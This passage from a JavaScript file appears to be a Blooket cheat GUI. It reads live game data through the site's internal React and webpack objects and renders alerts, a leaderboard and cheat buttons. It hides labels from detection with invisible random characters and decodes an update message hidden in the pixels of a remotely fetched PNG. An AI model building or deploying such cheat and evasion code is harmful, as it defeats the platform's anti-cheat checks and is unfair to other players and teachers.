return "factory";
2983
case "/play/classic/get-ready":
2984
case "/play/classic/question":
2985
case "/play/classic/answer/sent":
2986
case "/play/classic/answer/result":
2987
case "/play/classic/standings":
2988
return "classic";
2989
case "/play/battle-royale/match/preview":
2990
case "/play/battle-royale/question":
2991
case "/play/battle-royale/answer/sent":
2992
case "/play/battle-royale/answer/result":
2993
case "/play/battle-royale/match/result":
2994
return "royale";
2995
case "/play/toy":
2996
return "workshop";
2997
case "/play/gold":
2998
return "gold";
2999
case "/play/brawl":
3000
return "brawl";
3001
case "/play/hack":
3002
return "hack";
3003
case "/play/fishing":
3004
return "fishing";
3005
case "/play/rush":
3006
return "rush";
3007
case "/play/dino":
3008
return "dino";
3009
case "/tower/map":
3010
case "/tower/battle":
3011
case "/tower/rest":
3012
case "/tower/risk":
3013
case "/tower/shop":
3014
case "/tower/victory":
3015
return "doom";
3016
case "/cafe":
3017
case "/cafe/shop":
3018
return "cafe";
3019
case "/defense":
3020
return "defense";
3021
case "/play/defense2":
3022
return "defense2";
3023
case "/kingdom":
3024
return "kingdom";
3025
default:
3026
return false;
3027
}
3028
},
3029
connection: null,
3030
data: {},
3031
async connect() {
3032
try {
3033
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
3034
if (!stateNode?.props?.liveGameController?._liveGameCode) return false;
3035
Cheats.alerts.connection = await stateNode.props.liveGameController.getDatabaseRef("c");
3036
const blooks = Cheats.alerts.blookData;
3037
const gamemode = Cheats.alerts.getGamemode();
3038
const factoryGlitches = Object.values(webpack.c).find(x => x.exports.a?.["Lunch Break"]).exports.b;
3039
Cheats.alerts.connection.on("value", snapshot => {
3040
const players = snapshot.val() || {};
3041
if (!players || !Cheats.alerts.diffObjects(Cheats.alerts.data, players)) return;
3042
const added = Cheats.alerts.diffObjects(Cheats.alerts.data, players)
3043
Cheats.alerts.data = players;
3044
let standings;
3045
switch (gamemode) {
3046
case "racing":
3047
standings = Object.entries(players).map(([name, { b, pr }]) => ({ name, blook: b, value: pr || 0 }));
3048
case "classic":
3049
standings = Object.entries(players).map(([name, { b, p }]) => ({ name, blook: b, value: p || 0 }));
3050
case "royale":
3051
standings = Object.entries(players).map(([name, { b, e }]) => ({ name, blook: b, value: e || 0 }));
3052
case "workshop":
3053
standings = Object.entries(players).map(([name, { b, t }]) => ({ name, blook: b, value: t || 0 }));
3054
case "brawl":
3055
standings = Object.entries(players).map(([name, { b, xp }]) => ({ name, blook: b, value: xp || 0 }));
3056
case "defense":
3057
case "defense2":
3058
standings = Object.entries(players).map(([name, { b, d }]) => ({ name, blook: b, value: d || 0 }));
3059
case "gold":
3060
for (const player in added) {
3061
if (!added[player].tat) continue;
3062
const [tat, amount] = added[player].tat.split(':');
3063
if (amount == "swap") Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `just swapped with ${tat}`);
3064
else Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `just took ${Cheats.alerts.formatNumber(parseInt(amount))} gold from ${tat}`);
3065
}
3066
standings = Object.entries(players).map(([name, { b, g }]) => ({ name, blook: b, value: g || 0 }));
3067
break;
3068
case "hack":
3069
for (const player in added) {
3070
if (!added[player].tat) continue;
3071
const [tat, amount] = added[player].tat.split(':');
3072
Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `just took ${Cheats.alerts.formatNumber(parseInt(amount))} crypto from ${tat}`);
3073
}
3074
standings = Object.entries(players).map(([name, { b, cr }]) => ({ name, blook: b, value: cr || 0 }));
3075
break;
3076
case "fishing":
3077
for (const player in added) {
3078
if (added[player].f == "Frenzy") Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `just started a frenzy`);
3079
else if (added[player].s) Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `just sent a ${added[player].f} distraction`);
3080
}
3081
standings = Object.entries(players).map(([name, { b, w }]) => ({ name, blook: b, value: w || 0 }));
3082
break;
3083
case "dino":
3084
for (const player in added) {
3085
if (!added[player].tat) continue;
3086
const [tat, caught] = added[player].tat.split(':');
3087
if (caught == "true") Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `just caught ${tat} CHEATING!`);
3088
else Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `investigated ${tat}`);
3089
}
3090
standings = Object.entries(players).map(([name, { b, f }]) => ({ name, blook: b, value: f || 0 }));
3091
break;
3092
case "cafe":
3093
for (const player in added) {
3094
if (!added[player].up) continue;
3095
const [upgrade, level] = added[player].up.split(":");
3096
if (level) Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `upgraded ${upgrade} to level ${level}`);
3097
}
3098
standings = Object.entries(players).map(([name, { b, ca }]) => ({ name, blook: b, value: ca || 0 }));
3099
break;
3100
case "factory":
3101
for (const player in added) {
3102
const data = added[player];
3103
if (data.g) Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `activated the ${factoryGlitches[data.g]} glitch!`);
3104
else if (data.s) {
3105
const [amount, synergy] = data.s.split('-');
3106
Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `has a ${amount} ${synergy} synergy!`);
3107
} else if (data.t) Cheats.alerts.addAlert(player, blooks[players[player].b]?.url, `now has 10 Blooks!`);
3108
}
3109
standings = Object.entries(players).map(([name, { b, ca }]) => ({ name, blook: b, value: ca || 0 }));
3110
break;
3111
}
3112
Cheats.alerts.standings = standings.sort((a, b) => b.value - a.value)
3113
Cheats.alerts.setLeaderboard(Cheats.alerts.standings);
3114
});
3115
return true;
3116
} catch {
3117
return false;
3118
}
3119
},
3120
cheats: [
3121
{
3122
element: createElement(function Alerts() {
3123
const [alerts, setAlerts] = useState([]);
3124
const [leaderboard, setLeaderboard] = useState([]);
3125
Cheats.alerts.setAlerts = setAlerts;
3126
Cheats.alerts.setLeaderboard = setLeaderboard;
3127
useEffect(() => {
3128
Cheats.alerts.blookData = Object.values(webpack.c).find(x => x.exports.a?.Black).exports.a;
3129
Cheats.alerts.formatNumber = Object.values(webpack("74sb")).find(x => String(x).includes("×") || String(x).includes("toPrecision"));
3130
Cheats.alerts.standings && setLeaderboard(Cheats.alerts.standings);
3131
setAlerts(Cheats.alerts.alerts);
3132
Cheats.alerts.visible = true;
3133
window.Cheats = Cheats;
3134
return () => Cheats.alerts.visible = false;
3135
}, []);
3136
useEffect(() => {
3137
Cheats.alerts.alerts = alerts;
3138
}, [alerts])
3139
return React.createElement("div", {
3140
className: styles.keys.alertContainer
3141
}, React.createElement("ul", {
3142
className: styles.keys.alertList,
3143
style: {
3144
margin: "10px 10px 0 10px",
3145
padding: "0",
3146
listStyleType: "none",
3147
display: "flex",
3148
flexDirection: "column-reverse",
3149
height: "355px",
3150
overflowY: "scroll",
3151
wordWrap: "break-word"
3152
}
3153
}, alerts.slice().reverse().map((alert, i) => React.createElement("li", {
3154
style: {
3155
margin: "5px"
3156
},
3157
key: i
3158
}, React.createElement("span", {
3159
style: {
3160
color: alert.color || "var(--textColor)"
3161
}
3162
}, alert.message)))), leaderboard.length > 0 && React.createElement("div", {
3163
style: {
3164
position: "absolute",
3165
inset: "110% 0px"
3166
}
3167
}, React.createElement("div", {
3168
style: {
3169
alignItems: "center",
3170
boxSizing: "border-box",
3171
display: "flex",
3172
flexDirection: "row",
3173
flexWrap: "wrap",
3174
justifyContent: "space-evenly",
3175
padding: "20px 5px 20px",
3176
position: "relative",
3177
width: "100%",
3178
fontFamily: "Nunito, sans-serif",
3179
fontWeight: "400",
3180
color: "var(--textColor)",
3181
background: "var(--contentBackground)",
3182
boxShadow: "inset 0 -6px rgb(0 0 0 / 20%)",
3183
borderRadius: "7px"
3184
}
3185
}, React.createElement("div", {
3186
className: styles.keys.headerText
3187
}, React.createElement("div", {
3188
style: {
3189
alignItems: "center",
3190
boxSizing: "border-box",
3191
display: "flex",
3192
height: "100%",
3193
justifyContent: "center",
3194
padding: "0 15px",
3195
width: "100%",
3196
fontFamily: "Titan One, sans-serif",
3197
fontSize: "26px",
3198
fontWeight: "400",
3199
textShadow: "-1px -1px 0 #646464, 1px -1px 0 #646464, -1px 1px 0 #646464, 2px 2px 0 #646464",
3200
color: "white",
3201
background: "linear-gradient(#fcd843,#fcd843 50%,#feb31a 50.01%,#feb31a)",
3202
borderRadius: "5px"
3203
}
3204
}, "Leaderboard")), React.createElement("div", {
3205
className: styles.keys.alertContainer,
3206
style: {
3207
margin: "15px 15px 5px 15px",
3208
backgroundColor: "rgb(0 0 0 / 50%)",
3209
width: "95%",
3210
height: "370px",
3211
borderRadius: "7px",
3212
display: "flex",
3213
alignItems: "center",
3214
justifyContent: "center"
3215
}
3216
}, React.createElement("nl", {
3217
className: styles.keys.alertList,
3218
style: {
3219
marginTop: "10px",
3220
padding: "0",
3221
listStyleType: "decimal",
3222
width: "100%",
3223
height: "355px",
3224
overflowY: "scroll",
3225
wordWrap: "break-word"
3226
}
3227
}, leaderboard.map(({ blook, name, value }) => React.createElement("li", {
3228
style: {
3229
fontSize: "2rem",
3230
paddingInline: "72px 15px",
3231
paddingBlock: "1.25px",
3232
position: "relative"
3233
},
3234
key: name
3235
}, React.createElement("img", {
3236
src: Cheats.alerts.blookData[blook]?.url || Cheats.alerts.blookData.Black.url,
3237
alt: blook,
3238
style: {
3239
height: "45px",
3240
position: "absolute",
3241
left: "15px"
3242
}
3243
}), name, React.createElement("span", {
3244
style: {
3245
float: "right"
3246
}
3247
}, Cheats.alerts.formatNumber(parseInt(value))))))))));
3248
}, null)
3249
}
3250
]
3251
}
3252
}
3253
const GUIContainer = document.createElement("div");
3254
function createKeybindListener(onpress, element = window) {
3255
return new Promise(resolve => {
3256
const pressed = {};
3257
let shift, ctrl, alt, key;
3258
const keydown = e => {
3259
e.preventDefault();
3260
pressed[e.code] = true;
3261
shift ||= e.shiftKey;
3262
ctrl ||= e.ctrlKey;
3263
alt ||= e.altKey;
3264
if (!["shift", "control", "alt", "meta"].includes(e.key.toLowerCase())) key = e.key.toLowerCase();
3265
onpress?.({ shift, ctrl, alt, key });
3266
};
3267
const keyup = e => {
3268
delete pressed[e.code];
3269
if (Object.keys(pressed).length > 0) return;
3270
element.removeEventListener("keydown", keydown);
3271
element.removeEventListener("keyup", keyup);
3272
resolve({ shift, ctrl, alt, key });
3273
};
3274
element.addEventListener("keydown", keydown);
3275
element.addEventListener("keyup", keyup);
3276
});
3277
}
3278
function AntiBen({ type = "div", children, ...props }) {
3279
let childs = [];
3280
let char = (space) => React.createElement("span", {
3281
style: {
3282
display: "inline-block",
3283
opacity: "0",
3284
width: "0",
3285
height: "0",
3286
lineHeight: "0",
3287
userSelect: "none",
3288
marginLeft: space ? "5px" : null
3289
}
3290
}, String.fromCharCode(Math.floor(Math.random() * 25) + 97))
3291
const addChar = (child) => {
3292
if (typeof child == "string") {
3293
let text = [];
3294
for (let i = 0; i < child.length; i += 3) text.push(child.slice(i, i + 3), char());
3295
childs.push(...text);
3296
}
3297
else childs.push(child, char());
3298
}
3299
if (Array.isArray(children)) for (let i = 0; i < children.length; i++) addChar(children[i]);
3300
else addChar(children);
3301
return React.createElement(type, props, React.createElement("span", null, childs));
3302
}
3303
function ScriptInput({ input, onValue, run }) {
3304
const { name, type, options: opts, min, max, value } = input;
3305
let optState;
3306
try {
3307
optState = typeof opts == "function" ? opts() : opts;
3308
} catch (e) {
3309
console.warn(e);
3310
optState = [];
3311
}
3312
const [options, setOptions] = useState(optState)
3313
const [locked, setLocked] = useState("");
3314
const loading = useRef(true);
3315
useEffect(() => {
3316
if (options instanceof Promise) options.then((o) => {
3317
setOptions(o);
3318
onValue(o[0]?.value || o[0]);
3319
input.selected = o[0]?.name || o[0];
3320
loading.current = false;
3321
}).catch(() => setOptions([]));
3322
else if (options?.length) {
3323
onValue(options[0]?.value || options[0]);
3324
input.selected = options[0]?.name || options[0];
3325
}
3326
if (type == "number") onValue(value || (min == null ? 0 : min));
3327
else if (type == "function") onValue(null);
3328
else if (!(options instanceof Promise) && !options?.length) onValue("");
3329
}, []);
3330
let el;
3331
if (type == "options" && options?.length) el = React.createElement("select", {
3332
onChange: e => (input.selected = e.target.children[e.target.selectedIndex].innerText, onValue(JSON.parse(e.target.value)))
3333
}, options.map(opt => React.createElement("option", { value: JSON.stringify(opt?.value || opt) }, opt?.name || opt)));
3334
else if (type == "function") el = React.createElement("input", {
3335
className: styles.keys.cheatInput,
3336
placeholder: name,
3337
style: {
3338
textAlign: "center"
3339
},
3340
readOnly: true,
3341
value: locked || input.data,
3342
onClick: async () => {
3343
if (locked) return;
3344
setLocked("Waiting for input...");
3345
let value;
3346
const data = await input.function(e => setLocked((value = e) + "..."));
3347
input.data = value;
3348
setLocked(false);
3349
onValue(data);
3350
}
3351
});
3352
else {
3353
let isNumber = type == "number";
3354
el = React.createElement("input", {
3355
onChange: e => onValue(isNumber ? parseInt(e.target.value) : e.target.value),
3356
className: styles.keys.cheatInput,
3357
type: isNumber ? "number" : null,
3358
min: isNumber ? min : null,
3359
max: isNumber ? max : null,
3360
defaultValue: isNumber ? value || (min == null ? 0 : min) : null,
3361
placeholder: name,
3362
style: {
3363
textAlign: "center"
3364
},
3365
onKeyUp: e => e.key == "Enter" && run()
3366
});
3367
}
3368
return el;
3369
}
3370
function ScriptButton({ script }) {
3371
const args = useRef([]);
3372
const [enabled, setEnabled] = useState(script.enabled);
3373
const run = useCallback(() => {
3374
script.run.apply(script, args.current);
3375
setEnabled(script.enabled);
3376
Cheats.alerts.addLog(React.createElement(React.Fragment, null, script.type == "toggle" ? script.enabled ? "Enabled" : "Disabled" : "Ran", " ", React.createElement("strong", null, script.name), args.current.length > 0 && ` with inputs: (${args.current.map((x, i) => JSON.stringify(script.inputs[i].selected || x)).join(", ")})`), script.type == "toggle" && (script.enabled ? "var(--enabledButton)" : "var(--disabledButton)"));
3377
}, []);
3378
return React.createElement("div", {
3379
style: {
3380
background: script.type == "toggle" ? enabled ? "var(--enabledButton)" : "var(--disabledButton)" : "var(--defaultButton)"
3381
},
3382
key: script.name,
3383
"data-tip": script.description,
3384
className: styles.keys.scriptButton,
3385
onClick: e => (e.target.matches(`.${styles.keys.scriptButton}`) || e.target.matches(`.${styles.keys.cheatName}`) || e.target.matches(`.${styles.keys.cheatName} *`)) && run()
3386
}, React.createElement(AntiBen, {
3387
className: styles.keys.cheatName
3388
}, script.name), script.inputs?.length && script.inputs.map((input, i) => input.element || React.createElement(ScriptInput, {
3389
onValue: val => args.current[i] = val,
3390
key: i,
3391
input: input,
3392
run: run
3393
})));
3394
}
3395
function useSettings(settingsKey) {
3396
const [data, updateData] = useState(JSON.parse(localStorage.getItem(settingsKey) || "{}"));
3397
const setItem = useCallback((k, v) => {
3398
k.split('.').reduce((obj, k, i, a) => (++i == a.length && (obj[k] = v), obj[k]), data);
3399
localStorage.setItem(settingsKey, JSON.stringify(data));
3400
updateData({ ...data });
3401
return data;
3402
}, [data]);
3403
const deleteItem = useCallback((k, v) => {
3404
k.split('.').reduce((obj, k, i, a) => (++i == a.length && (delete obj[k]), obj[k]), data);
3405
localStorage.setItem(settingsKey, JSON.stringify(data));
3406
updateData({ ...data });
3407
return data;
3408
}, [data]);
3409
const setData = useCallback((v) => {
3410
updateData(v);
3411
localStorage.setItem(settingsKey, JSON.stringify(v));
3412
}, []);
3413
useEffect(() => {
3414
try {
3415
updateData(JSON.parse(localStorage.getItem(settingsKey) || "{}"));
3416
for (const setting of ["backgroundColor", "cheatList", "contentBackground", "defaultButton", "disabledButton", "enabledButton", "infoColor", "inputColor", "textColor"]) if (settings.data[setting]) {
3417
setItem(`theme.${setting}`, settings.data[setting]);
3418
deleteItem(setting);
3419
}
3420
} catch {
3421
setData({});
3422
}
3423
}, [])
3424
return { data, setItem, deleteItem, setData };
3425
}
3426
function Draggable({ parent, children, setPos, ...props }) {
3427
const mouseDown = useRef(false);
3428
const pos = useRef({ x: 0, y: 0 });
3429
useEffect(() => {
3430
const pointerup = () => mouseDown.current = false;
3431
const pointermove = (e) => {
3432
if (!mouseDown.current) return;
3433
let dx = pos.current.x - e.clientX;
3434
let dy = pos.current.y - e.clientY;
3435
pos.current = { x: e.clientX, y: e.clientY };
3436
var ratio = 1 || parseFloat((0.75 / window.devicePixelRatio).toFixed(2));
3437
setPos({ x: parent.offsetLeft - dx / ratio, y: parent.offsetTop - dy / ratio });
3438
}
3439
document.addEventListener("pointerup", pointerup);
3440
document.addEventListener("pointermove", pointermove);
3441
return () => {
3442
document.removeEventListener("pointerup", pointerup);
3443
document.removeEventListener("pointermove", pointermove);
3444
}
3445
}, [parent]);
3446
return React.createElement("div", {
3447
...props, onPointerDown: e => {
3448
mouseDown.current = true;
3449
pos.current = {
3450
x: e.clientX,
3451
y: e.clientY
3452
};
3453
}
3454
}, children);
3455
}
3456
function GUI() {
3457
const { current: pos } = useRef({
3458
x: Math.max(10, window.innerWidth - 1000) / 2,
3459
y: Math.max(10, window.innerHeight - 600) / 2,
3460
});
3461
const setPos = useCallback(({ x, y }) => {
3462
pos.x = x;
3463
pos.y = y;
3464
guiRef.current.style.left = `${x}px`;
3465
guiRef.current.style.top = `${y}px`;
3466
}, []);
3467
const [minified, setMinified] = useState(null);
3468
const [hidden, setHidden] = useState(false);
3469
const [currentMode, setCurrentMode] = useState("global");
3470
const guiRef = useRef();
3471
const alertInterval = useRef();
3472
settings = useSettings("JODGUISETTINGS");
3473
const variables = React.createElement("style", null, `:root {--backgroundColor: ${settings.data?.theme?.backgroundColor || "rgb(11, 194, 207)"};--infoColor: ${settings.data?.theme?.infoColor || "#9a49aa"};--cheatList: ${settings.data?.theme?.cheatList || "#9a49aa"};--defaultButton: ${settings.data?.theme?.defaultButton || "#9a49aa"};--disabledButton: ${settings.data?.theme?.disabledButton || "#A02626"};--enabledButton: ${settings.data?.theme?.enabledButton || "#47A547"};--textColor: ${settings.data?.theme?.textColor || "white"};--inputColor: ${settings.data?.theme?.inputColor || "#7a039d"};--contentBackground: ${settings.data?.theme?.contentBackground || "rgb(64, 17, 95)"};}`);
3474
const { current: gamemodes } = useRef(["alerts", "global", "voyage", "gold", "cafe", "crypto", "dinos", "defense", "defense2", "factory", "fishing", "flappy", "doom", "kingdom", "racing", "royale", "rush", "brawl", "workshop", "settings"]);
3475
3476
const close = useCallback(() => {
3477
ReactDOM.unmountComponentAtNode(GUIContainer);
3478
GUIContainer.remove();
3479
}, []);
3480
3481
useEffect(() => { Tooltip.rebuild() });
3482
useEffect(() => {
3483
window.dispatchEvent(new Event("resize"));
3484
let keydown = e => {
3485
let hideKey = settings.data.hide || { ctrl: true, key: "e" };
3486
let closeKey = settings.data.close || { ctrl: true, key: "x" };
3487
if ((hideKey.ctrl && e.ctrlKey || !hideKey.ctrl && !e.ctrlKey) && (hideKey.shift && e.shiftKey || !hideKey.shift && !e.shiftKey) && (hideKey.alt && e.altKey || !hideKey.alt && !e.altKey) && e.key.toLowerCase() == hideKey.key) {
3488
e.preventDefault();
3489
setHidden(h => !h);
3490
} else if ((closeKey.ctrl && e.ctrlKey || !closeKey.ctrl && !e.ctrlKey) && (closeKey.shift && e.shiftKey || !closeKey.shift && !e.shiftKey) && (closeKey.alt && e.altKey || !closeKey.alt && !e.altKey) && e.key.toLowerCase() == closeKey.key) {
3491
e.preventDefault();
3492
close();
3493
}
3494
};
3495
window.addEventListener("keydown", keydown);
3496
alertInterval.current = setInterval(async () => {
3497
if (await Cheats.alerts.connect()) clearInterval(alertInterval.current);
3498
}, 5000);
3499
return () => {
3500
window.removeEventListener("keydown", keydown);
3501
clearInterval(alertInterval.current);
3502
for (const gamemode of gamemodes) for (const cheat of Cheats[gamemode].cheats) if (cheat.enabled) cheat.run();
3503
}
3504
}, []);
3505
useEffect(() => {
3506
if (minified == null) return () => { };
3507
let gui = guiRef.current.querySelector("div");
3508
gui.style.height = !minified ? "100%" : "55px";
3509
gui.style.width = !minified ? "100%" : "165px";
3510
guiRef.current.style.top = `${parseInt(guiRef.current.style.top) + (guiRef.current.offsetHeight - 55) * (!minified ? -1 : 1)}px`;
3511
guiRef.current.style.left = `${parseInt(guiRef.current.style.left) + (guiRef.current.offsetWidth - 165) * (!minified ? -1 : 1)}px`;
3512
guiRef.current.style.pointerEvents = !minified ? "unset" : "none";
3513
}, [minified])
3514
3515
return React.createElement("div", {
3516
ref: guiRef,
3517
id: styles.keys.guiWrapper,
3518
style: {
3519
top: `${pos.y}px`,
3520
left: `${pos.x}px`,
3521
transform: `scale(${settings.data.scale || 1})`,
3522
display: hidden ? "none" : null
3523
}
3524
}, React.createElement("style", null, styles.css), variables, React.createElement("div", {
3525
id: styles.keys.gui
3526
}, React.createElement("div", {
3527
id: styles.keys.controlButtons
3528
}, React.createElement(Draggable, {
3529
parent: guiRef.current,
3530
setPos: setPos,
3531
style: {
3532
backgroundColor: "rgb(0, 160, 255)"
3533
},
3534
className: styles.keys.dragButton
3535
}, React.createElement("i", {
3536
className: "fas fa-arrows-alt"
3537
})), React.createElement("div", {
3538
style: {
3539
fontWeight: "bolder",
3540
backgroundColor: "grey",
3541
cursor: "pointer"
3542
},
3543
onClick: () => setMinified(m => !m)
3544
}, React.createElement("i", {
3545
className: "fas fa-minus"
3546
})), React.createElement("div", {
3547
style: {
3548
fontWeight: "bolder",
3549
backgroundColor: "red",
3550
cursor: "pointer"
3551
},
3552
onClick: close
3553
}, React.createElement("i", {
3554
className: "fas fa-times"
3555
}))), !minified && React.createElement(React.Fragment, null, React.createElement("div", {
3556
id: styles.keys.background
3557
}, React.createElement("div", {
3558
id: styles.keys.backgroundImage
3559
})), React.createElement(Draggable, {
3560
parent: guiRef.current,
3561
setPos: setPos,
3562
id: styles.keys.controls
3563
}, (({ ctrl: ctrlHide, shift: shiftHide, alt: altHide, key: keyHide } = { ctrl: true, key: "e" }, { ctrl: ctrlClose, shift: shiftClose, alt: altClose, key: keyClose } = { ctrl: true, key: "x" }) => {
3564
return React.createElement(React.Fragment, null, `${[ctrlHide && "Ctrl", shiftHide && "Shift", altHide && "Alt", keyHide && keyHide.toUpperCase()].filter(Boolean).join(' + ')} to hide | ${[ctrlClose && "Ctrl", shiftClose && "Shift", altClose && "Alt", keyClose && keyClose.toUpperCase()].filter(Boolean).join(' + ')} for quick disable`, React.createElement("br", null), React.createElement(AntiBen, null, "Click and drag here"));
3565
})(settings.data.hide || {
3566
ctrl: true,
3567
key: "e"
3568
}, settings.data.close || {
3569
ctrl: true,
3570
key: "x"
3571
})), React.createElement("div", {
3572
id: styles.keys.credits
3573
}, React.createElement(AntiBen, null, "GitHub - 05Konz")), React.createElement("div", {
3574
id: styles.keys.cheatList
3575
}, React.createElement(AntiBen, {
3576
type: "span",
3577
style: {
3578
textShadow: "1px 1px rgb(0 0 0 / 40%)"
3579
}
3580
}, "Cheats"), React.createElement("a", {
3581
href: "https://discord.gg/jHjGrrdXP6",
3582
target: "_blank",
3583
id: styles.keys.bigButton
3584
}, React.createElement("svg", {
3585
style: {
3586
filter: "drop-shadow(2px 2px 0 rgb(0 0 0 / 20%))"
3587
},
3588
xmlns: "http://www.w3.org/2000/svg",
3589
width: "35",
3590
height: "35",
3591
fill: "currentColor",
3592
viewBox: "0 -1 21 16"
3593
}, React.createElement("path", {
3594
d: "M13.545 2.907a13.227 13.227 0 0 0-3.257-1.011.05.05 0 0 0-.052.025c-.141.25-.297.577-.406.833a12.19 12.19 0 0 0-3.658 0 8.258 8.258 0 0 0-.412-.833.051.051 0 0 0-.052-.025c-1.125.194-2.22.534-3.257 1.011a.041.041 0 0 0-.021.018C.356 6.024-.213 9.047.066 12.032c.001.014.01.028.021.037a13.276 13.276 0 0 0 3.995 2.02.05.05 0 0 0 .056-.019c.308-.42.582-.863.818-1.329a.05.05 0 0 0-.01-.059.051.051 0 0 0-.018-.011 8.875 8.875 0 0 1-1.248-.595.05.05 0 0 1-.02-.066.051.051 0 0 1 .015-.019c.084-.063.168-.129.248-.195a.05.05 0 0 1 .051-.007c2.619 1.196 5.454 1.196 8.041 0a.052.052 0 0 1 .053.007c.08.066.164.132.248.195a.051.051 0 0 1-.004.085 8.254 8.254 0 0 1-1.249.594.05.05 0 0 0-.03.03.052.052 0 0 0 .003.041c.24.465.515.909.817 1.329a.05.05 0 0 0 .056.019 13.235 13.235 0 0 0 4.001-2.02.049.049 0 0 0 .021-.037c.334-3.451-.559-6.449-2.366-9.106a.034.034 0 0 0-.02-.019Zm-8.198 7.307c-.789 0-1.438-.724-1.438-1.612 0-.889.637-1.613 1.438-1.613.807 0 1.45.73 1.438 1.613 0 .888-.637 1.612-1.438 1.612Zm5.316 0c-.788 0-1.438-.724-1.438-1.612 0-.889.637-1.613 1.438-1.613.807 0 1.451.73 1.438 1.613 0 .888-.631 1.612-1.438 1.612Z"
3595
})), React.createElement(AntiBen, {
3596
type: React.Fragment
3597
}, "Discord")), gamemodes.map(gamemode => {
3598
return React.createElement("div", {
3599
key: gamemode,
3600
onClick: () => setCurrentMode(gamemode),
3601
className: styles.keys.cheatButton
3602
}, Cheats[gamemode].img ? React.createElement("img", {
3603
src: Cheats[gamemode].img,
3604
style: {
3605
maxWidth: "30px",
3606
maxHeight: "30px",
3607
aspectRatio: "1 / 1",
3608
marginRight: "10px",
3609
...(Cheats[gamemode].style || {})
3610
},
3611
alt: gamemode
3612
}) : React.createElement("div", {
3613
style: {
3614
marginInline: "5px",
3615
width: "5px"
3616
}
3617
}), React.createElement(Textfit, {
3618
mode: "single",
3619
forceSingleWidthMode: false,
3620
min: 1,
3621
max: 20
3622
}, Cheats[gamemode].name));
3623
})), React.createElement("div", {
3624
id: styles.keys.contentWrapper
3625
}, React.createElement("div", {
3626
id: styles.keys.content
3627
}, React.createElement(Tooltip, {
3628
place: "bottom",
3629
effect: "solid"
3630
}), React.createElement("div", {
3631
id: styles.keys.cheats
3632
}, Cheats[currentMode].element || (Cheats[currentMode].element = React.createElement(React.Fragment, null, React.createElement("div", {
3633
className: styles.keys.headerText
3634
}, React.createElement(AntiBen, null, Cheats[currentMode].name, " Cheats")), Cheats[currentMode].cheats.map(cheat => cheat.element || React.createElement(ScriptButton, {
3635
key: cheat.name,
3636
script: cheat
3637
}))))))))));
3638
}
3639
ReactDOM.render(createElement(GUI, null), GUIContainer);
3640
document.body.append(GUIContainer);
3641
});
3642
let img = new Image;
3643
img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/reactGui.png?" + Date.now();
3644
img.crossOrigin = "Anonymous";
3645
img.onload = function() {
3646
const c = document.createElement("canvas");
3647
const ctx = c.getContext("2d");
3648
ctx.drawImage(img, 0, 0, this.width, this.height);
3649
let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last;
3650
for (let i = 0; i < data.length; i += 4) {
3651
let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]);
3652
decode += char;
3653
if (char == "/" && last == "*") break;
3654
last = char;
3655
}
3656
let iframe = document.querySelector("iframe");
3657
const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/);
3658
if (parseInt(time) <= 1696542129466 || iframe.contentWindow.confirm(error)) cheat();
3659
}
3660
img.onerror = img.onabort = () => (img.src = null, cheat());
3661
})();
3662